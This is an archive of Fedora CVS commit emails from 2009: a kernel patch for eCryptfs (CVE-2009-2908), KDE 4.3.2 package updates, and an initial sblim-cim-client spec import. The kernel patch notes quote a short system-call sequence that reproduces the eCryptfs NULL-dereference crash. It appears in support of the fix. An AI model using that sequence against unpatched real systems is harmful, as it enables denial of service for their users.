--- NEW FILE ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch ---
>From 9c2d2056647790c5034d722bd24e9d913ebca73c Mon Sep 17 00:00:00 2001
From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Date: Tue, 22 Sep 2009 12:52:17 -0500
Subject: eCryptfs: Prevent lower dentry from going negative during unlink
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

From: Tyler Hicks <tyhicks at linux.vnet.ibm.com>

commit 9c2d2056647790c5034d722bd24e9d913ebca73c upstream.

When calling vfs_unlink() on the lower dentry, d_delete() turns the
dentry into a negative dentry when the d_count is 1.  This eventually
caused a NULL pointer deref when a read() or write() was done and the
negative dentry's d_inode was dereferenced in
ecryptfs_read_update_atime() or ecryptfs_getxattr().

Placing mutt's tmpdir in an eCryptfs mount is what initially triggered
the oops and I was able to reproduce it with the following sequence:

open("/tmp/upper/foo", O_RDWR|O_CREAT|O_EXCL|O_NOFOLLOW, 0600) = 3
link("/tmp/upper/foo", "/tmp/upper/bar") = 0
unlink("/tmp/upper/foo")                = 0
open("/tmp/upper/bar", O_RDWR|O_CREAT|O_NOFOLLOW, 0600) = 4
unlink("/tmp/upper/bar")                = 0
write(4, "eCryptfs test\n"..., 14 <unfinished ...>
+++ killed by SIGKILL +++

https://bugs.launchpad.net/ecryptfs/+bug/387073

Reported-by: Lo?c Minier <loic.minier at canonical.com>
Cc: Serge Hallyn <serue at us.ibm.com>
Cc: Dave Kleikamp <shaggy at linux.vnet.ibm.com>
Cc: ecryptfs-devel at lists.launchpad.net
Signed-off-by: Tyler Hicks <tyhicks at linux.vnet.ibm.com>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 fs/ecryptfs/inode.c |    2 ++
 1 file changed, 2 insertions(+)

--- a/fs/ecryptfs/inode.c
+++ b/fs/ecryptfs/inode.c
@@ -443,6 +443,7 @@ static int ecryptfs_unlink(struct inode 
 	struct inode *lower_dir_inode = ecryptfs_inode_to_lower(dir);
 	struct dentry *lower_dir_dentry;
 
+	dget(lower_dentry);
 	lower_dir_dentry = lock_parent(lower_dentry);
 	rc = vfs_unlink(lower_dir_inode, lower_dentry);
 	if (rc) {
@@ -456,6 +457,7 @@ static int ecryptfs_unlink(struct inode 
 	d_drop(dentry);
 out_unlock:
 	unlock_dir(lower_dir_dentry);
+	dput(lower_dentry);
 	return rc;
 }
 


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.97
retrieving revision 1.1206.2.98
diff -u -p -r1.1206.2.97 -r1.1206.2.98
--- kernel.spec	5 Oct 2009 21:42:17 -0000	1.1206.2.97
+++ kernel.spec	7 Oct 2009 11:14:39 -0000	1.1206.2.98
@@ -792,6 +792,9 @@ Patch15200: appletalk-fix-skb-leak-when-
 # fix stack randomization (#526882)
 Patch15300: x86-increase-min_gap-to-include-randomized-stack.patch
 
+# CVE-2009-2908
+Patch15400: ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch
+
 %endif
 
 BuildRoot: %{_tmppath}/kernel-%{KVERREL}-root
@@ -1433,6 +1436,9 @@ ApplyPatch appletalk-fix-skb-leak-when-i
 # backport of stack randomization fix from 2.6.31.2
 ApplyPatch x86-increase-min_gap-to-include-randomized-stack.patch
 
+# CVE-2009-2908
+ApplyPatch ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch
+
 # END OF PATCH APPLICATIONS
 
 %endif
@@ -2008,6 +2014,9 @@ fi
 %kernel_variant_files -k vmlinux %{with_kdump} kdump
 
 %changelog
+* Wed Oct 07 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.36-170.2.98
+- eCryptfs: Prevent lower dentry from going negative during unlink (CVE-2009-2908)
+
 * Mon Oct 05 2009  Chuck Ebbert <cebbert at redhat.com>  2.6.27.36-170.2.97
 - Linux 2.6.27.36
 



From ltinkl at fedoraproject.org  Wed Oct  7 11:32:28 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:32:28 +0000 (UTC)
Subject: rpms/kdenetwork/devel .cvsignore,1.74,1.75
Message-ID: <20091007113228.A8FEE11C029A@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdenetwork/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20947/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/devel/.cvsignore,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- .cvsignore	5 Oct 2009 14:34:12 -0000	1.74
+++ .cvsignore	7 Oct 2009 11:32:27 -0000	1.75
@@ -1,3 +1,2 @@
 krdc-icons.tar.bz2
-kdenetwork-4.3.1.tar.bz2
 kdenetwork-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 11:32:27 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:32:27 +0000 (UTC)
Subject: rpms/kdenetwork/F-10 .cvsignore, 1.65, 1.66 kdenetwork.spec, 1.176, 
	1.177 sources, 1.75, 1.76 kdenetwork-4.3.1-kde#162493.patch, 1.1,
	NONE
Message-ID: <20091007113228.686D211C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdenetwork/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20947/F-10

Modified Files:
	.cvsignore kdenetwork.spec sources 
Removed Files:
	kdenetwork-4.3.1-kde#162493.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-10/.cvsignore,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- .cvsignore	1 Sep 2009 17:52:30 -0000	1.65
+++ .cvsignore	7 Oct 2009 11:32:23 -0000	1.66
@@ -1,2 +1,2 @@
 krdc-icons.tar.bz2
-kdenetwork-4.3.1.tar.bz2
+kdenetwork-4.3.2.tar.bz2


Index: kdenetwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-10/kdenetwork.spec,v
retrieving revision 1.176
retrieving revision 1.177
diff -u -p -r1.176 -r1.177
--- kdenetwork.spec	14 Sep 2009 14:58:22 -0000	1.176
+++ kdenetwork.spec	7 Oct 2009 11:32:23 -0000	1.177
@@ -1,8 +1,8 @@
 Summary: K Desktop Environment - Network Applications
 Name: kdenetwork
 Epoch: 7
-Version: 4.3.1
-Release: 2%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -14,9 +14,6 @@ Source1: krdc-icons.tar.bz2
 Patch1: kdenetwork-4.2.98-kdrc-icon.patch
 
 # upstream patches (4.3 branch):
-Patch100: kdenetwork-4.3.0-fix-bonjour.patch
-# http://bugs.kde.org/162493
-Patch101: kdenetwork-4.3.1-kde#162493.patch
 
 # upstream patches (4.4 branch):
 Patch200: kdenetwork-4.3.0-jabber-kde#111537.patch
@@ -50,10 +47,13 @@ BuildRequires: soprano-devel >= 2.0.97
 BuildRequires: speex-devel
 BuildRequires: sqlite-devel
 BuildRequires: libv4l-devel
+%if 0%{?fedora}
+BuildRequires: webkitpart-devel
+%endif
 # FIXME/TODO: libnxcl-devel
 
-Requires: kdepimlibs >= %{version}
-Requires: %{name}-libs = %{epoch}:%{version}-%{release}
+Requires: kdepimlibs%{?_isa} >= %{version}
+Requires: %{name}-libs%{?_isa} = %{epoch}:%{version}-%{release}
 Requires: mozilla-filesystem
 
 # kopete/yahoo
@@ -88,7 +88,7 @@ Group:   System Environment/Libraries
 %package devel
 Group:    Development/Libraries
 Summary:  Development files for %{name}
-Requires: %{name}-libs = %{epoch}:%{version}-%{release}
+Requires: %{name}-libs%{?_isa} = %{epoch}:%{version}-%{release}
 Requires: kdelibs4-devel
 %description devel
 %{summary}.
@@ -97,8 +97,6 @@ Requires: kdelibs4-devel
 %prep
 %setup -q -a 1
 %patch1 -p1 -b .icon
-%patch100 -p0 -b .bonjour
-%patch101 -p4 -b .kde#162493.patch
 
 # 4.3 upstream patches
 chmod +x kopete/kopete/kconf_update/kopete-update_yahoo_server.pl
@@ -145,7 +143,6 @@ if [ $1 -eq 0 ] ; then
   update-desktop-database -q &> /dev/null ||:
 fi
 
-
 %post libs -p /sbin/ldconfig
 
 %postun libs -p /sbin/ldconfig
@@ -158,6 +155,7 @@ fi
 %{_kde4_appsdir}/kconf_update/*
 %{_kde4_appsdir}/kget/
 %{_kde4_appsdir}/khtml/kpartplugins/kget_plug_in.rc
+%{_kde4_appsdir}/webkitpart/kpartplugins/kget_plug_in.rc
 %{_kde4_appsdir}/kopete*
 %{_kde4_appsdir}/kppp/
 %{_kde4_appsdir}/krfb/
@@ -191,6 +189,13 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Sun Sep 17 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
+- %%?_isa'ize -libs deps
+- BR: webkitpart-devel
+
 * Mon Sep 14 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
 - kopete/bonjour patch
 - krfb produces garbled display (#523131, kde#162493)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-10/sources,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- sources	1 Sep 2009 17:52:30 -0000	1.75
+++ sources	7 Oct 2009 11:32:23 -0000	1.76
@@ -1,2 +1,2 @@
 7dd360a790100c952090410c2c89937c  krdc-icons.tar.bz2
-496000ae85856da0c6fb0e014d03d0d7  kdenetwork-4.3.1.tar.bz2
+57b44a9b59c35366a0c287c591bb9bdc  kdenetwork-4.3.2.tar.bz2


--- kdenetwork-4.3.1-kde#162493.patch DELETED ---



From ltinkl at fedoraproject.org  Wed Oct  7 11:32:27 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:32:27 +0000 (UTC)
Subject: rpms/kdenetwork/F-12 .cvsignore, 1.73, 1.74 kdenetwork.spec, 1.201, 
	1.202 sources, 1.79, 1.80 kdenetwork-4.3.1-kde#162493.patch, 1.1,
	NONE
Message-ID: <20091007113228.736CF11C0299@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdenetwork/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20947/F-12

Modified Files:
	.cvsignore kdenetwork.spec sources 
Removed Files:
	kdenetwork-4.3.1-kde#162493.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-12/.cvsignore,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- .cvsignore	1 Sep 2009 17:52:31 -0000	1.73
+++ .cvsignore	7 Oct 2009 11:32:25 -0000	1.74
@@ -1,2 +1,2 @@
 krdc-icons.tar.bz2
-kdenetwork-4.3.1.tar.bz2
+kdenetwork-4.3.2.tar.bz2


Index: kdenetwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-12/kdenetwork.spec,v
retrieving revision 1.201
retrieving revision 1.202
diff -u -p -r1.201 -r1.202
--- kdenetwork.spec	5 Oct 2009 14:32:52 -0000	1.201
+++ kdenetwork.spec	7 Oct 2009 11:32:26 -0000	1.202
@@ -1,8 +1,8 @@
 Summary: K Desktop Environment - Network Applications
 Name: kdenetwork
 Epoch: 7
-Version: 4.3.1
-Release: 4%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -14,9 +14,6 @@ Source1: krdc-icons.tar.bz2
 Patch1: kdenetwork-4.2.98-kdrc-icon.patch
 
 # upstream patches (4.3 branch):
-Patch100: kdenetwork-4.3.0-fix-bonjour.patch
-# http://bugs.kde.org/162493
-Patch101: kdenetwork-4.3.1-kde#162493.patch
 
 # upstream patches (4.4 branch):
 Patch200: kdenetwork-4.3.0-jabber-kde#111537.patch
@@ -100,8 +97,6 @@ Requires: kdelibs4-devel
 %prep
 %setup -q -a 1
 %patch1 -p1 -b .icon
-%patch100 -p0 -b .bonjour
-%patch101 -p4 -b .kde#162493.patch
 
 # 4.3 upstream patches
 chmod +x kopete/kopete/kconf_update/kopete-update_yahoo_server.pl
@@ -194,8 +189,8 @@ fi
 
 
 %changelog
-* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.1-4
-- rhel cleanup
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
 
 * Sun Sep 17 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
 - %%?_isa'ize -libs deps


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-12/sources,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- sources	28 Aug 2009 14:49:50 -0000	1.79
+++ sources	7 Oct 2009 11:32:26 -0000	1.80
@@ -1,2 +1,2 @@
 7dd360a790100c952090410c2c89937c  krdc-icons.tar.bz2
-496000ae85856da0c6fb0e014d03d0d7  kdenetwork-4.3.1.tar.bz2
+57b44a9b59c35366a0c287c591bb9bdc  kdenetwork-4.3.2.tar.bz2


--- kdenetwork-4.3.1-kde#162493.patch DELETED ---



From ltinkl at fedoraproject.org  Wed Oct  7 11:32:27 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:32:27 +0000 (UTC)
Subject: rpms/kdenetwork/F-11 .cvsignore, 1.69, 1.70 kdenetwork.spec, 1.194, 
	1.195 sources, 1.76, 1.77 kdenetwork-4.3.1-kde#162493.patch, 1.1,
	NONE
Message-ID: <20091007113228.68B8011C0298@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdenetwork/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20947/F-11

Modified Files:
	.cvsignore kdenetwork.spec sources 
Removed Files:
	kdenetwork-4.3.1-kde#162493.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-11/.cvsignore,v
retrieving revision 1.69
retrieving revision 1.70
diff -u -p -r1.69 -r1.70
--- .cvsignore	1 Sep 2009 17:52:31 -0000	1.69
+++ .cvsignore	7 Oct 2009 11:32:25 -0000	1.70
@@ -1,2 +1,2 @@
 krdc-icons.tar.bz2
-kdenetwork-4.3.1.tar.bz2
+kdenetwork-4.3.2.tar.bz2


Index: kdenetwork.spec
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-11/kdenetwork.spec,v
retrieving revision 1.194
retrieving revision 1.195
diff -u -p -r1.194 -r1.195
--- kdenetwork.spec	14 Sep 2009 14:57:29 -0000	1.194
+++ kdenetwork.spec	7 Oct 2009 11:32:25 -0000	1.195
@@ -1,8 +1,8 @@
 Summary: K Desktop Environment - Network Applications
 Name: kdenetwork
 Epoch: 7
-Version: 4.3.1
-Release: 2%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group: Applications/Internet
@@ -14,9 +14,6 @@ Source1: krdc-icons.tar.bz2
 Patch1: kdenetwork-4.2.98-kdrc-icon.patch
 
 # upstream patches (4.3 branch):
-Patch100: kdenetwork-4.3.0-fix-bonjour.patch
-# http://bugs.kde.org/162493
-Patch101: kdenetwork-4.3.1-kde#162493.patch
 
 # upstream patches (4.4 branch):
 Patch200: kdenetwork-4.3.0-jabber-kde#111537.patch
@@ -50,10 +47,13 @@ BuildRequires: soprano-devel >= 2.0.97
 BuildRequires: speex-devel
 BuildRequires: sqlite-devel
 BuildRequires: libv4l-devel
+%if 0%{?fedora}
+BuildRequires: webkitpart-devel
+%endif
 # FIXME/TODO: libnxcl-devel
 
-Requires: kdepimlibs >= %{version}
-Requires: %{name}-libs = %{epoch}:%{version}-%{release}
+Requires: kdepimlibs%{?_isa} >= %{version}
+Requires: %{name}-libs%{?_isa} = %{epoch}:%{version}-%{release}
 Requires: mozilla-filesystem
 
 # kopete/yahoo
@@ -88,7 +88,7 @@ Group:   System Environment/Libraries
 %package devel
 Group:    Development/Libraries
 Summary:  Development files for %{name}
-Requires: %{name}-libs = %{epoch}:%{version}-%{release}
+Requires: %{name}-libs%{?_isa} = %{epoch}:%{version}-%{release}
 Requires: kdelibs4-devel
 %description devel
 %{summary}.
@@ -97,8 +97,6 @@ Requires: kdelibs4-devel
 %prep
 %setup -q -a 1
 %patch1 -p1 -b .icon
-%patch100 -p0 -b .bonjour
-%patch101 -p4 -b .kde#162493.patch
 
 # 4.3 upstream patches
 chmod +x kopete/kopete/kconf_update/kopete-update_yahoo_server.pl
@@ -145,7 +143,6 @@ if [ $1 -eq 0 ] ; then
   update-desktop-database -q &> /dev/null ||:
 fi
 
-
 %post libs -p /sbin/ldconfig
 
 %postun libs -p /sbin/ldconfig
@@ -158,6 +155,7 @@ fi
 %{_kde4_appsdir}/kconf_update/*
 %{_kde4_appsdir}/kget/
 %{_kde4_appsdir}/khtml/kpartplugins/kget_plug_in.rc
+%{_kde4_appsdir}/webkitpart/kpartplugins/kget_plug_in.rc
 %{_kde4_appsdir}/kopete*
 %{_kde4_appsdir}/kppp/
 %{_kde4_appsdir}/krfb/
@@ -191,6 +189,13 @@ fi
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Sun Sep 17 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-3
+- %%?_isa'ize -libs deps
+- BR: webkitpart-devel
+
 * Mon Sep 14 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
 - kopete/bonjour patch
 - krfb produces garbled display (#523131, kde#162493)


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdenetwork/F-11/sources,v
retrieving revision 1.76
retrieving revision 1.77
diff -u -p -r1.76 -r1.77
--- sources	1 Sep 2009 17:52:31 -0000	1.76
+++ sources	7 Oct 2009 11:32:25 -0000	1.77
@@ -1,2 +1,2 @@
 7dd360a790100c952090410c2c89937c  krdc-icons.tar.bz2
-496000ae85856da0c6fb0e014d03d0d7  kdenetwork-4.3.1.tar.bz2
+57b44a9b59c35366a0c287c591bb9bdc  kdenetwork-4.3.2.tar.bz2


--- kdenetwork-4.3.1-kde#162493.patch DELETED ---



From vcrhonek at fedoraproject.org  Wed Oct  7 11:46:12 2009
From: vcrhonek at fedoraproject.org (vcrhonek)
Date: Wed,  7 Oct 2009 11:46:12 +0000 (UTC)
Subject: rpms/sblim-cim-client/devel import.log, NONE,
	1.1 sblim-cim-client.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091007114612.95CF211C00E6@cvs1.fedora.phx.redhat.com>

Author: vcrhonek

Update of /cvs/extras/rpms/sblim-cim-client/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25484/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log sblim-cim-client.spec 
Log Message:
Initial import (#503495)


--- NEW FILE import.log ---
sblim-cim-client-1_3_9_1-1_fc10:HEAD:sblim-cim-client-1.3.9.1-1.fc10.src.rpm:1254915939


--- NEW FILE sblim-cim-client.spec ---
%define provider_dir %{_libdir}/cmpi
%define tog_pegasus_version 2:2.5.1

# sblim-cim-client macros
%define archive_folder_name cim-client
%define cim_client_jar_file sblimCIMClient
%define slp_name sblim-slp-client
%define slp_client_jar_file sblimSLPClient

# there's no reason to produce debuginfo package
#%global debug_package %{nil}

Summary:        Java CIM Client library
Name:           sblim-cim-client
Version:        1.3.9.1
Release:        1%{?dist}
License:        EPL
Group:          Development/Libraries
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
URL:            http://sourceforge.net/projects/sblim/
Source0:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-%{version}-src.zip
Source1:        http://downloads.sourceforge.net/project/sblim/%{name}/%{version}/%{name}-samples-%{version}-src.zip

BuildArch:      noarch

BuildRequires:  java-devel >= 1.4
BuildRequires:  jpackage-utils >= 0:1.5.32
BuildRequires:  xerces-j2 >= 2.7.1
BuildRequires:  ant >= 0:1.6
BuildRequires:  dos2unix

Requires:       java >= 1.4
Requires:       jpackage-utils >= 0:1.5.32
Requires:       xerces-j2 >= 2.7.1
Requires:       tog-pegasus >= %{tog_pegasus_version}

%description
The purpose of this package is to provide a CIM Client Class Library for Java
applications. It complies to the DMTF standard CIM Operations over HTTP and
intends to be compatible with JCP JSR48 once it becomes available. To learn
more about DMTF visit http://www.dmtf.org.
More infos about the Java Community Process and JSR48 can be found at
http://www.jcp.org and http://www.jcp.org/en/jsr/detail?id=48.

%package javadoc
Summary:        Javadoc for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description javadoc
Javadoc for sblim-cim-client.

%package manual
Summary:        Manual and sample code for %{name}
Group:          Documentation
Requires:       sblim-cim-client = %{version}-%{release}

%description manual
Manual and sample code for sblim-cim-client.

%prep
%setup -q -n %{archive_folder_name}
rm version.txt
%setup -q -T -D -b 1 -n %{archive_folder_name}

%build
export ANT_OPTS="-Xmx256m"
ant \
        -Dbuild.compiler=modern \
        -DManifest.version=%{version} \
        build-release

%install
rm -rf $RPM_BUILD_ROOT
# documentation
dos2unix COPYING README ChangeLog NEWS
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install COPYING $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install README $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install ChangeLog $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install NEWS $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# samples (also into _docdir)
pushd samples
  dos2unix README.samples
  pushd org/sblim/slp/example
    dos2unix *
  popd
  pushd org/sblim/wbem/cimclient/sample
    dos2unix *
  popd
popd
install samples/README.samples $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
cp -pr  samples/org $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
# default cim.defaults
dos2unix cim.defaults slp.conf
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/java
install cim.defaults $RPM_BUILD_ROOT%{_sysconfdir}/java/%{name}.properties
install slp.conf $RPM_BUILD_ROOT%{_sysconfdir}/java/%{slp_name}.properties
# jar
mkdir -p $RPM_BUILD_ROOT%{_javadir}
install %{archive_folder_name}/%{cim_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{name}-%{version}.jar %{cim_client_jar_file}.jar;
    ln -sf %{name}-%{version}.jar %{name}.jar;
)
install %{archive_folder_name}/%{slp_client_jar_file}.jar $RPM_BUILD_ROOT%{_javadir}/%{slp_name}-%{version}.jar
(
  cd $RPM_BUILD_ROOT%{_javadir} &&
    ln -sf %{slp_name}-%{version}.jar %{slp_client_jar_file}.jar;
    ln -sf %{slp_name}-%{version}.jar %{slp_name}.jar;
)
# javadoc
mkdir -p $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr %{archive_folder_name}/doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}
#cp -pr doc/* $RPM_BUILD_ROOT%{_javadocdir}/%{name}-%{version}

%files
%defattr(0644,root,root,0755)
%config(noreplace) %{_sysconfdir}/java/%{name}.properties
%config(noreplace) %{_sysconfdir}/java/%{slp_name}.properties
%dir %{_datadir}/doc/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/README
%doc %{_docdir}/%{name}-%{version}/ChangeLog
%doc %{_docdir}/%{name}-%{version}/NEWS
%{_javadir}/%{name}.jar
%{_javadir}/%{name}-%{version}.jar
%{_javadir}/%{cim_client_jar_file}.jar
%{_javadir}/%{slp_name}.jar
%{_javadir}/%{slp_name}-%{version}.jar
%{_javadir}/%{slp_client_jar_file}.jar

%files javadoc
%defattr(0644,root,root,0755)
%{_javadocdir}/%{name}-%{version}

%files manual
%defattr(0644,root,root,0755)
%doc %{_docdir}/%{name}-%{version}/README.samples
%doc %{_docdir}/%{name}-%{version}/COPYING
%doc %{_docdir}/%{name}-%{version}/org

%clean
rm -rf $RPM_BUILD_ROOT

%changelog
* Mon Oct  5 2009 Vitezslav Crhonek <vcrhonek at redhat.com> - 1.3.9.1-1
- Initial support


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	6 Oct 2009 17:39:11 -0000	1.1
+++ .cvsignore	7 Oct 2009 11:46:12 -0000	1.2
@@ -0,0 +1,2 @@
+sblim-cim-client-1.3.9.1-src.zip
+sblim-cim-client-samples-1.3.9.1-src.zip


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/sblim-cim-client/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	6 Oct 2009 17:39:11 -0000	1.1
+++ sources	7 Oct 2009 11:46:12 -0000	1.2
@@ -0,0 +1,2 @@
+37078f13a5a7ea2cc69b6751c8f48518  sblim-cim-client-1.3.9.1-src.zip
+a90d4fb7542aaff03eb4498641cd2c9a  sblim-cim-client-samples-1.3.9.1-src.zip



From ltinkl at fedoraproject.org  Wed Oct  7 11:58:24 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:58:24 +0000 (UTC)
Subject: rpms/kdepim/F-10 .cvsignore, 1.65, 1.66 kdepim.spec, 1.220,
	1.221 sources, 1.74, 1.75 kdepim-4.3.2-imapMove.patch, 1.1,
	NONE kdepim-4.3.2-ldapCompletionCrash.patch, 1.2, NONE
Message-ID: <20091007115824.AC59111C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdepim/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28735/F-10

Modified Files:
	.cvsignore kdepim.spec sources 
Removed Files:
	kdepim-4.3.2-imapMove.patch 
	kdepim-4.3.2-ldapCompletionCrash.patch 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdepim/F-10/.cvsignore,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- .cvsignore	1 Sep 2009 18:10:07 -0000	1.65
+++ .cvsignore	7 Oct 2009 11:58:21 -0000	1.66
@@ -1 +1 @@
-kdepim-4.3.1.tar.bz2
+kdepim-4.3.2.tar.bz2


Index: kdepim.spec
===================================================================
RCS file: /cvs/extras/rpms/kdepim/F-10/kdepim.spec,v
retrieving revision 1.220
retrieving revision 1.221
diff -u -p -r1.220 -r1.221
--- kdepim.spec	23 Sep 2009 17:27:12 -0000	1.220
+++ kdepim.spec	7 Oct 2009 11:58:22 -0000	1.221
@@ -5,8 +5,8 @@
 Name:    kdepim
 Summary: PIM (Personal Information Manager) applications
 Epoch:   6
-Version: 4.3.1
-Release: 5%{?dist}
+Version: 4.3.2
+Release: 1%{?dist}
 
 License: GPLv2
 Group:   Applications/Productivity
@@ -16,12 +16,6 @@ Patch0:  kdepim-4.1.80-libqgpgme-link-fi
 # http://bugzilla.redhat.com/show_bug.cgi?id=496988
 Patch1:  kdepim-4.3.1-kmail-saveAttachments.patch
 # 4.3.1 upstream
-# http://websvn.kde.org/?view=rev&revision=1022963
-# http://websvn.kde.org/?view=rev&revision=1022964
-Patch100: kdepim-4.3.2-imapMove.patch
-#?http://websvn.kde.org/?view=rev&revision=1019119
-# http://websvn.kde.org/?view=rev&revision=1019358
-Patch101: kdepim-4.3.2-ldapCompletionCrash.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -61,12 +55,13 @@ BuildRequires: soprano-devel
 BuildRequires: qca2-devel
 BuildRequires: zlib-devel
 
+%if 0%{?fedora}
 ##Optional bits
 Requires(hint): pinentry-gui
 Requires(hint): spambayes
 #Requires(hint): spamassassin
 #%{?fedora:Requires(hint): bogofilter}
-
+%endif
 
 %description
 %{summary}, including:
@@ -101,8 +96,6 @@ Requires: %{name} = %{?epoch:%{epoch}:}%
 %setup -q
 %patch0 -p1 -b .libqgpgme-link-fix
 %patch1 -p0 -b .kmail-saveAttachments
-%patch100 -p4 -b .imapMove
-%patch101 -p0 -b .ldapCompletionCrash
 
 
 %build
@@ -221,6 +214,12 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Thu Sep 24 2009 Than Ngo <than at redhat.com> - 4.3.1-6
+- rhel cleanup
+
 * Wed Sep 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-5
 - respin ldap crasher patch (kdebug:206024, rhbz#524870)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdepim/F-10/sources,v
retrieving revision 1.74
retrieving revision 1.75
diff -u -p -r1.74 -r1.75
--- sources	1 Sep 2009 18:10:07 -0000	1.74
+++ sources	7 Oct 2009 11:58:23 -0000	1.75
@@ -1 +1 @@
-1029bc586f29c262f5f60eb079623e62  kdepim-4.3.1.tar.bz2
+7e6a672bd681b2f19502798d7ed73fe8  kdepim-4.3.2.tar.bz2


